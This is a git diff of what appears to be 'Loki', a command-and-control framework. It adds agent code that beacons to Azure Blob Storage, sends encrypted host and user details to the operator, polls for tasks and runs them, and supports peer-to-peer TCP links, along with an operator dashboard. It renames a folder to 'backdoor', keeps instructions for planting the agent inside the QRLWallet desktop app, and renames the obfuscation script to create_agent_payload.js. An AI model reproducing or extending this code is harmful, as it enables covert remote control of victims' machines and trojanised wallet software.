global.agent.agentid + } + ); + if(response.status != 200) { + debug(`[INIT][!] Failed to set metadata for meta container blob : ${global.agent.metaContainer} ${global.agent.agentid}`); + return false; + } + // Create agent container + debug(`[INIT] Creating agent container ${global.agent.container.name}`); + response = await func_Container_Create(global.agent.container.name); + if (response === false) { + debug(`[INIT][!] Failed to create agent container : ${global.agent.container.name}`); + return false; + } + // Create input blob + response = await func_Blob_Create(global.agent.container.name, blobs['in']); + if(response === false) { + debug(`[INIT][!] Failed to create container blob ${global.agent.container.name} ${blobs['in']}`); + return false; + } + // Create checkin blob + let selfInfo = await getSystemInfo(); + const checkin_encryptedData = await func_Encrypt(JSON.stringify(selfInfo, null, 1), global.agent.container.key.key, global.agent.container.key.iv); + const checkin_b64EncData = await func_Base64_Encode(checkin_encryptedData); + response = await func_Blob_Create(global.agent.container.name, blobs['checkin'], checkin_b64EncData); + if(response === false) { + debug(`[INIT][!] Failed to create container blob ${global.agent.container.name} ${blobs['checkin']}`); + return false; + } + return true; } catch (error) { - debug(`[!] Error in func_cd: ${error.message}${error.stack}`); - return `[!] Error changing directory: ${error.message}`; + debug(`[INIT][!] ERROR : \r\n${error}\r\n ${error.stack}`); + return false; + } +} + +async function reinitializeAgent() { + debug(`[REINIT] Reinitializing agent`); + global.init = false; + let failattempts = 0; + + while (true) { + let initResult = await init(); + if (initResult === true) { + debug('[REINIT] Initialization successful'); + break; + } + else{ + failattempts++; + debug(`[REINIT] Initialization failed for ${failattempts} time, retrying in 10 seconds... `); + await new Promise(resolve => setTimeout(resolve, 10000)); + } + } +} + +async function TaskLoop() { + try{ + debug(`[TASKLOOP] Starting task handler`); + while (true) { + if (!global.init) { + let agentidresp = await func_Blob_Read(global.agent.metaContainer, global.agent.agentid); + debug(`[TASKLOOP] func_Blob_Read response : ${JSON.stringify(agentidresp)}`); + if (agentidresp.status === 200) { + if (agentidresp.data == global.agent.container.name) { + debug(`[TASKLOOP] Agents metaContainer global.agent.agentid ${global.agent.agentid} is initialized with value ${agentidresp.data}`); + global.init = true; + } + } + + }else{ + let response = await Blob_Set_Metadata( + global.agent.metaContainer, + global.agent.agentid, + { + stat: Date.now(), + signature: await func_Base64_Encode(JSON.stringify(global.agent.container.key.key)), + hash: await func_Base64_Encode(JSON.stringify(global.agent.container.key.iv)), + link: global.agent.agentid + } + ); + if (global.mode== 'link-tcp' && response === false) { + debug(`[TASKLOOP] ${global.TCPServer.authenticatedClients.size} clients authenticated.\r\n Waiting for client to connect and authenticate...`); + const clientConnected = await global.TCPServer.waitForClient(); + if (clientConnected) { + debug('Client connected and authenticated successfully'); + debug(`[TASKLOOP] ClientConnected : ${clientConnected}`); + } + } + if (response != false) { + if(response.status != 200) { + await reinitializeAgent(); + } + if( await HandleTask() === false) + { + await reinitializeAgent(); + } + } + } + if (900 * 1000 > global.agent.thissleep && global.agent.thissleep > 1 * 888) { + global.agent.thissleep = await getrand(global.agent.sleepinterval * 1000, global.agent.sleepjitter); + debug(`[TASKLOOP] Sleeping for ${global.agent.thissleep}`); + await new Promise(resolve => setTimeout(resolve, global.agent.thissleep)); + } else { + debug('[TASKLOOP] Sleeping for default 10 seconds'); + await new Promise(resolve => setTimeout(resolve, 10000)); + } + } + }catch(error){ + debug(`${error} ${error.stack}`); + await TaskLoop(); + } +} + +async function HandleTask() { + try { + let response = await func_Blob_Read(global.agent.container.name ,global.agent.container.blobs['in']); + if (response.status === 200) { + await clearBlob(global.agent.container.name, global.agent.container.blobs['in']); + if (response.data && response.data != null && response.data != undefined && response.data != "") { + let task = await parseTask(response.data); + await DoTask(task); + } + return true; + }else{ + return false; + } + } catch (error) { + debug(`[!] ${error} ${error.stack}`); + return false; } } \ No newline at end of file diff --git a/agent/renderer.js b/agent/renderer.js index f823c6a..d38dd96 100644 --- a/agent/renderer.js +++ b/agent/renderer.js @@ -1,5 +1,6 @@ const { ipcRenderer } = require('electron'); const { log } = require('console'); +const os = require('os'); ipcRenderer.on('make-web-request', async (event, requestOptions) => { try { @@ -210,4 +211,52 @@ ipcRenderer.on('load', async (event, path) => { // // log(`[LOAD] Error stack: ${error.stack}`); ipcRenderer.send('load-complete', `Error: ${error.message}`); } +}); + +// Add IPC handler for system info requests +ipcRenderer.on('get-system-info', async (event, requestId,mode) => { + try { + const hostname = os.hostname(); + const username = os.userInfo().username; + const osType = os.type(); + const osRelease = os.release(); + const platform = os.platform(); + const arch = os.arch(); + + const PID = process.pid; + let procName = process.argv[0]; + procName = procName.trim().replace(/Helper \(Renderer\)/g, "").trim(); + + const nets = os.networkInterfaces(); + const IpInfo = []; + for (const name of Object.keys(nets)) { + for (const net of nets[name]) { + // 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6 + const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4; + if (net.family === familyV4Value && !net.internal) { + IpInfo.push(net.address); + } + } + } + + // Create a JSON object with the collected information + const systemInfo = { + hostname: hostname, + username: username, + osType: osType, + osRelease: osRelease, + platform: platform, + arch: arch, + PID: PID, + Process: procName, + IP: IpInfo, + mode: mode + }; + + // Send the response back to main process + ipcRenderer.send(`system-info-response-${requestId}`, systemInfo); + } catch (error) { + console.error('Error getting system info:', error); + ipcRenderer.send(`system-info-response-${requestId}`, 0); + } }); \ No newline at end of file diff --git a/proxyapp/Cursor/init.js b/backdoor/Cursor/init.js similarity index 100% rename from proxyapp/Cursor/init.js rename to backdoor/Cursor/init.js diff --git a/proxyapp/QRLWallet/Readme.md b/backdoor/QRLWallet/Readme.md similarity index 95% rename from proxyapp/QRLWallet/Readme.md rename to backdoor/QRLWallet/Readme.md index 2d282a6..1c2f590 100644 --- a/proxyapp/QRLWallet/Readme.md +++ b/backdoor/QRLWallet/Readme.md @@ -6,7 +6,7 @@ For doing this you will need to: - Download the QRLWallet app - Paste all Loki files except `package.json` to `QRL\app-1.8.1\resources\app` - Don't replace the real `package.json` -- Copy `/loki/proxyapp/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app` +- Copy `/loki/backdoor/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app` - Modify contents of `QRL\app-1.8.1\resources\app\package.json` to: - set `"main":"init.js",` diff --git a/proxyapp/QRLWallet/init.js b/backdoor/QRLWallet/init.js similarity index 100% rename from proxyapp/QRLWallet/init.js rename to backdoor/QRLWallet/init.js diff --git a/client/agent.js b/client/agent.js index 7ba585f..f1b854c 100644 --- a/client/agent.js +++ b/client/agent.js @@ -84,6 +84,8 @@ const commandDetails = [ { name: "assembly", help: "Execute a .NET assembly and get command output\r\n\tassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" }, { name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" }, { name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" }, + { name: "link", help: "Peer-to-peer connect to a Loki TCP agent\r\n\tlink \r\n\tlink localhost 3000\r\n" }, + { name: "unlink", help: "Disconnect from a Loki TCP agent\r\n\tunlink \r\n\tunlink localhost\r\n" }, //{ name: "socks", help: "socks \r\n" + // " - Connect to a SOCKS5 server.\r\n" + // " Examples:\r\n" + diff --git a/client/assets/images/apple.png b/client/assets/images/apple.png new file mode 100644 index 0000000..4b5e5bc Binary files /dev/null and b/client/assets/images/apple.png differ diff --git a/client/assets/images/azure.png b/client/assets/images/azure.png new file mode 100644 index 0000000..aca0895 Binary files /dev/null and b/client/assets/images/azure.png differ diff --git a/client/assets/images/background.png b/client/assets/images/background.png index 9319163..eee21f9 100644 Binary files a/client/assets/images/background.png and b/client/assets/images/background.png differ diff --git a/client/azure.js b/client/azure.js index 8ce1079..7c2d4c4 100644 --- a/client/azure.js +++ b/client/azure.js @@ -161,18 +161,21 @@ async function updateDashboardTable() else{ thisAgent = new Agent(); thisAgent.agentid = agentMetaBlob; - thisAgent.aes = await getContainerAesKeys(thisAgent.agentid); + const [aesKeys, links] = await getContainerAesKeys(thisAgent.agentid); + thisAgent.aes = aesKeys; + thisAgent.links = links; if(thisAgent.aes == null){ continue; } let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob); if(metaAgentResponse.status != 200 || metaAgentResponse.response.data == null){ continue; } thisAgent.container = metaAgentResponse.data; thisAgent.blobs = await getContainerBlobs(thisAgent.container); if(thisAgent.blobs == null ){ continue; } - let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs); + let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs); if(checkinData == null){ continue; } try { if (typeof checkinData === 'string') { agentObj = JSON.parse(checkinData); } else { continue; } } catch (error) { continue; } + log(`agentObj : ${JSON.stringify(agentObj)}`); thisAgent.hostname = agentObj.hostname; thisAgent.IP = agentObj.IP; thisAgent.osRelease = agentObj.osRelease; @@ -182,10 +185,14 @@ async function updateDashboardTable() thisAgent.Process = agentObj.Process; thisAgent.username = agentObj.username; thisAgent.arch = agentObj.arch; + thisAgent.mode = agentObj.mode; if (global.haltUpdate == false) { global.agents.push(thisAgent); } } let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentMetaBlob); const timestamp = new Date(checkinBlobLastModified).getTime(); + if(!timestamp){ + return 0; + } thisAgent.checkin = timestamp; agentcheckins.push(thisAgent); }catch(error) @@ -395,7 +402,8 @@ async function getContainerAesKeys(agentid) 'key':JSON.parse(aes_key), 'iv': JSON.parse(aes_iv) } - return key; + const links = response.response.headers["x-ms-meta-link"]; + return [key,links]; } catch (error) { console.error(`[AESKEYS][!] Error getting aes keys for agent ${agentid}:`, error.message, error.stack); return null; @@ -405,8 +413,8 @@ async function getContainerAesKeys(agentid) async function checkinContainer(containerName, aes, blobs) { try { - log(`checkinContainer() | containerName : ${containerName}`); - log(`checkinContainer() | aes : ${JSON.stringify(aes)}`); + //log(`checkinContainer() | containerName : ${containerName}`); + //log(`checkinContainer() | aes : ${JSON.stringify(aes)}`); const aes_key_bytes = Buffer.from(aes['key'], 'hex'); const aes_iv_bytes = Buffer.from(aes['iv'], 'hex'); let checkin = await readBlob(containerName, blobs['checkin']); @@ -420,7 +428,7 @@ async function checkinContainer(containerName, aes, blobs) return dec_checkin; } } catch (error) { - console.error(`Error connecting to container ${containerName}:`, error.message); + //console.error(`Error connecting to container ${containerName}:`, error.message); return null; } } diff --git a/client/dashboard.html b/client/dashboard.html index bcd45c7..eef9d9d 100644 --- a/client/dashboard.html +++ b/client/dashboard.html @@ -102,6 +102,7 @@ tr > td { IP Arch Platform + Mode Checkin diff --git a/client/dashboard.js b/client/dashboard.js index 813e716..8ebeb29 100644 --- a/client/dashboard.js +++ b/client/dashboard.js @@ -61,30 +61,78 @@ window.addEventListener('DOMContentLoaded', () => { }); // **Ensure the event fires only once** -function handleContextMenu(event) { +async function handleContextMenu(event) { event.preventDefault(); log("Right-click detected on table row"); - if(tableinit === true) - { - let row = event.target.closest("tr"); - log(`row : ${JSON.stringify(row)}`); - if (!row || row.rowIndex === 0) return; + log(`event : ${JSON.stringify(event)}`); + if(tableinit === true) { + let row = event.target.closest("tr"); + log(`row : ${JSON.stringify(row)}`); + if (!row || row.rowIndex === 0) return; - let agentData = { - agentid: row.cells[0]?.textContent || '', - containerid: row.cells[1]?.textContent || '', - hostname: row.cells[2]?.textContent || '', - username: row.cells[3]?.textContent || '', - fileName: row.cells[4]?.textContent || '', - PID: row.cells[5]?.textContent || '', - IP: row.cells[6]?.textContent || '', - arch: row.cells[7]?.textContent || '', - platform: row.cells[8]?.textContent || '' - }; - log(`agentData : ${JSON.stringify(agentData)}`); + // Get the agentid for the clicked row + let agentid = row.cells[0]?.textContent || ''; + + // Get links for this agent + let links = await ipcRenderer.invoke('get-agent-links', agentid); + log(`[DASHBOARD] links : ${links}`); - ipcRenderer.send('show-row-context-menu', JSON.stringify(agentData)); - } + // Create array to store all agent data + let allAgentData = []; + + // Get data for the clicked agent + let clickedAgentData = { + agentid: agentid, + containerid: row.cells[1]?.textContent || '', + hostname: row.cells[2]?.textContent || '', + username: row.cells[3]?.textContent || '', + fileName: row.cells[4]?.textContent || '', + PID: row.cells[5]?.textContent || '', + IP: row.cells[6]?.textContent || '', + arch: row.cells[7]?.textContent || '', + platform: row.cells[8]?.textContent || '', + mode: row.cells[9]?.textContent || '', + links: links + }; + allAgentData.push(clickedAgentData); + + // If there are links, get data for each linked agent + if (links) { + let linkedAgentIds = links.split(','); + for (let linkedAgentId of linkedAgentIds) { + linkedAgentId = linkedAgentId.trim(); + // Skip if this is the same as the clicked agent + if (linkedAgentId === agentid) { + continue; + } + + // Find the row for this linked agent + let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0]; + for (let tableRow of table.rows) { + if (tableRow.cells[0].textContent === linkedAgentId) { + let linkedAgentData = { + agentid: linkedAgentId, + containerid: tableRow.cells[1]?.textContent || '', + hostname: tableRow.cells[2]?.textContent || '', + username: tableRow.cells[3]?.textContent || '', + fileName: tableRow.cells[4]?.textContent || '', + PID: tableRow.cells[5]?.textContent || '', + IP: tableRow.cells[6]?.textContent || '', + arch: tableRow.cells[7]?.textContent || '', + platform: tableRow.cells[8]?.textContent || '', + mode: tableRow.cells[9]?.textContent || '', + links: await ipcRenderer.invoke('get-agent-links', linkedAgentId) + }; + allAgentData.push(linkedAgentData); + break; + } + } + } + } + + log(`allAgentData : ${JSON.stringify(allAgentData)}`); + ipcRenderer.send('show-row-context-menu', JSON.stringify(allAgentData)); + } } @@ -120,40 +168,11 @@ window.addEventListener('DOMContentLoaded', async () => { table.removeEventListener('contextmenu', handleContextMenu); log("Adding event listener context menu"); table.addEventListener('contextmenu', handleContextMenu); - - // async function initTable() { - // try { - // let agentinit = null; - // while(agentinit == null) - // { - // agentinit = await ipcRenderer.invoke('preload-agents'); - // await new Promise(resolve => setTimeout(resolve, 3000)); - // } - - // let agents = JSON.parse(agentinit); - - // agents.forEach(agent => { - // let thisrow = updateOrAddRow(agent); - // thisrow.cells[0].textContent = agent.agentid; - // thisrow.cells[1].textContent = agent.containerid; - // thisrow.cells[2].textContent = ''; - // thisrow.cells[3].textContent = ''; - // thisrow.cells[4].textContent = ''; - // thisrow.cells[5].textContent = ''; - // thisrow.cells[6].textContent = ''; - // thisrow.cells[7].textContent = ''; - // thisrow.cells[8].textContent = ''; - // }); - // } catch (error) { - // logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`); - // } - // } async function updateTable() { try { let agentcheckins; agentcheckins = await ipcRenderer.invoke('get-containers'); - const table = document.getElementById('containerTable'); // Ensure this matches your table ID if (agentcheckins != 0) { const agents = JSON.parse(agentcheckins); let agent_index = 0; @@ -194,7 +213,8 @@ window.addEventListener('DOMContentLoaded', async () => { thisrow.cells[6].textContent = agent.IP; thisrow.cells[7].textContent = agent.arch; thisrow.cells[8].textContent = platformName; // Set formatted platform name - thisrow.cells[9].textContent = timeDifference(agent.checkin); + thisrow.cells[9].textContent = agent.mode; + thisrow.cells[10].textContent = timeDifference(agent.checkin); thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0]; for (let row of table.rows) { @@ -248,6 +268,7 @@ window.addEventListener('DOMContentLoaded', async () => { thisRow.insertCell(7); thisRow.insertCell(8); thisRow.insertCell(9); + thisRow.insertCell(10); // Add cell for check-in time } return thisRow; }catch(error) diff --git a/client/kernel.js b/client/kernel.js index 7a2dced..5aa64a2 100644 --- a/client/kernel.js +++ b/client/kernel.js @@ -187,7 +187,7 @@ ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => { { const newcontainer_blobs = await az.getContainerBlobs(newcontainerid); console.log(`${newcontainerid} container key blob : ${newcontainer_blobs['key']}`); - const container_key = await az.getContainerAesKeys(agentid); + let container_key,links = await az.getContainerAesKeys(agentid); let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs); let agentObj = JSON.parse(checkinData); agentObj.agentid = agentid; @@ -237,6 +237,23 @@ ipcMain.on('upload-client-command-to-input-channel', async (event, agent_object) } }); +ipcMain.handle('get-agent-links', async (event, agentid) => { + try { + console.log(`[KERNEL][IPC] get-agent-links : ${agentid}`); + if(agentid == 0 || agentid == null || agentid == undefined || agentid == '') + { + return 0; + } + const [aesKeys, links] = await az.getContainerAesKeys(agentid); + const agentlinks = links; + console.log(`[KERNEL][IPC] get-agent-links : ${agentlinks}`); + return agentlinks; + } catch (error) { + console.error('Error getting agent links:', error); + return 0; + } +}); + ipcMain.on('pull-download-file', async (event, agent_object, filename, blob) => { try { if (filename.startsWith("'") && filename.endsWith("'")) { @@ -389,15 +406,15 @@ app.whenReady().then(() => { ]); Menu.setApplicationMenu(menu); // Handle right-click context menu for table rows -ipcMain.on('show-row-context-menu', (event, agentDataJSON) => { - let agentData = JSON.parse(agentDataJSON); - const agentid = agentData.agentid; +ipcMain.on('show-row-context-menu', (event, agentsDataJSON) => { + let agentsData = JSON.parse(agentsDataJSON); + console.log(`[RIGHT-CLICK] agentsData : ${JSON.stringify(agentsData)}`); + const agentid = agentsData[0].agentid; const contextMenu = Menu.buildFromTemplate([ { label: 'Remove', click: async () => { try { - console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`); global.haltUpdate = true; // Handle agent window cleanup @@ -437,8 +454,8 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => { } // Handle storage cleanup try { - await az.DeleteStorageBlob(global.config.metaContainer, agentData.agentid); - await az.DeleteStorageContainer(agentData.containerid); + await az.DeleteStorageBlob(global.config.metaContainer, agentid); + await az.DeleteStorageContainer(agentsData[0].containerid); if (global.dashboardWindow) { console.log(`dashboardWindow exists`); @@ -461,7 +478,61 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => { label: 'Explorer', click: () => { console.log(`Explorer clicked for agent ID: ${agentid}`); - createExplorerWindow(agentDataJSON); + createExplorerWindow(JSON.stringify(agentsData[0])); + } + }, + { + label: 'Links', + visible: agentsData[0].mode && agentsData[0].mode.startsWith('link'), + click: () => { + console.log(`Links clicked for agent ID: ${agentid}`); + const primaryDisplay = screen.getPrimaryDisplay(); + const { width: screenWidth, height: screenHeight } = primaryDisplay.workAreaSize; + console.log(`Screen dimensions - Width: ${screenWidth}, Height: ${screenHeight}`); + + // Calculate window dimensions + const numAgents = agentsData.length + 1; // Add 1 for the Azure storage card + const headerHeight = 150; // Height for window title bar and header + const heightPerAgent = 528; // Height per agent card + const arrowSpacing = 10; // Space between arrow and next card + const calculatedHeight = headerHeight + (numAgents * heightPerAgent) + ((numAgents - 1) * arrowSpacing); + const maxHeight = Math.floor(screenHeight * 0.9); + console.log(`Calculated height: ${calculatedHeight}, Max height: ${maxHeight}`); + + const totalHeight = Math.min(calculatedHeight, maxHeight); + const width = Math.min( + Math.max(600, screenWidth * 0.6), + 800 + ); + + const linksWindow = new BrowserWindow({ + width: width, + height: totalHeight, + minWidth: 600, + minHeight: 400, + webPreferences: { + contextIsolation: false, + nodeIntegration: true + } + }); + linksWindow.loadFile('links.html'); + linksWindow.webContents.on('did-finish-load', () => { + // Add Azure storage account info to the agentsData + const azureData = { + hostname: global.config.storageAccount, + platform: "Azure Storage Account", + username: "", + fileName: "", + containerid: "", + IP: "", + PID: "", + arch: "", + mode: "", + agentid: "" + }; + agentsData.push(azureData); + linksWindow.webContents.send('agent-links', agentsData); + }); } } ]); diff --git a/client/links.html b/client/links.html new file mode 100644 index 0000000..8d52074 --- /dev/null +++ b/client/links.html @@ -0,0 +1,293 @@ + + + + Agent Links + + + +
+ +
+ + + + \ No newline at end of file diff --git a/obfuscateAgent.js b/create_agent_payload.js similarity index 94% rename from obfuscateAgent.js rename to create_agent_payload.js index 171b1b9..3d59a83 100644 --- a/obfuscateAgent.js +++ b/create_agent_payload.js @@ -49,7 +49,7 @@ if (isDebug) { // ---------- Help Menu ---------- if (argMap.h || argMap.help) { console.log(` -Usage: node obfuscateAgent.js [AppName] [--account ] [--token ] [--meta ] [-h|--help] [--debug|-d] +Usage: node create_agent_payload.js [AppName] [--account ] [--token ] [--meta ] [--tcp ] [-h|--help] [--debug|-d] Arguments: AppName Optional. Used to name the final output in package.json. @@ -57,12 +57,13 @@ Arguments: --account Azure Storage Account name. Will prompt if not provided. --token Azure SAS Token. Will prompt if not provided. --meta Container name for metadata. If omitted, a random name is generated. + --tcp Optional. TCP port for link mode. If specified, agent will run in link-tcp mode. --cleanup Remove node modules, package.json, and other dependency files after execution. -h, --help Show this help message and exit. --debug, -d Enable verbose output about file operations. Example: - node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug + node create_agent_payload.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --tcp 8080 --debug This script: - Obfuscates JavaScript files in ./agent and writes to ./app @@ -250,17 +251,23 @@ try { } const storageAccount = argMap.account || await promptInput("\t- Enter Storage Account : "); const sasToken = argMap.token || await promptInput("\t- Enter SAS Token : "); - const metaContainer = argMap.meta || generateMetaContainer(); + const metaContainer = argMap.meta || "mzl80liqhujwg"; + //const metaContainer = argMap.meta || generateMetaContainer(); console.log("\n[+] Configuration:"); console.log("\t- Storage Account :", storageAccount); console.log("\t- SAS Token :", sasToken); console.log("\t- Meta Container :", metaContainer); + const tcpPort = argMap.tcp ? parseInt(argMap.tcp) : 3000; + const mode = argMap.tcp ? 'link-tcp' : 'egress'; + const configContent = `module.exports = { storageAccount: '${storageAccount}', metaContainer: '${metaContainer}', - sasToken: '${sasToken}' + sasToken: '${sasToken}', + p2pPort: ${tcpPort}, + mode: '${mode}' };\n`; fs.writeFileSync(configSrcPath, configContent, 'utf-8'); diff --git a/docs/compile/client/linux.md b/docs/compile/client/linux.md index 91114ba..128d8ae 100644 --- a/docs/compile/client/linux.md +++ b/docs/compile/client/linux.md @@ -109,4 +109,4 @@ npm run dist #### ⚙️ Final Step: Configure Your Azure Storage: -- After launching the Loki GUI Client, enter your Azure Storage Account, SAS Token, and Meta Container information. Ensure the 'Meta Container' information matches the value you receive after running the 'obfuscateAgent.js' on the agent files. \ No newline at end of file +- After launching the Loki GUI Client, enter your Azure Storage Account, SAS Token, and Meta Container information. Ensure the 'Meta Container' information matches the value you receive after running the 'create_agent_payload.js' on the agent files. \ No newline at end of file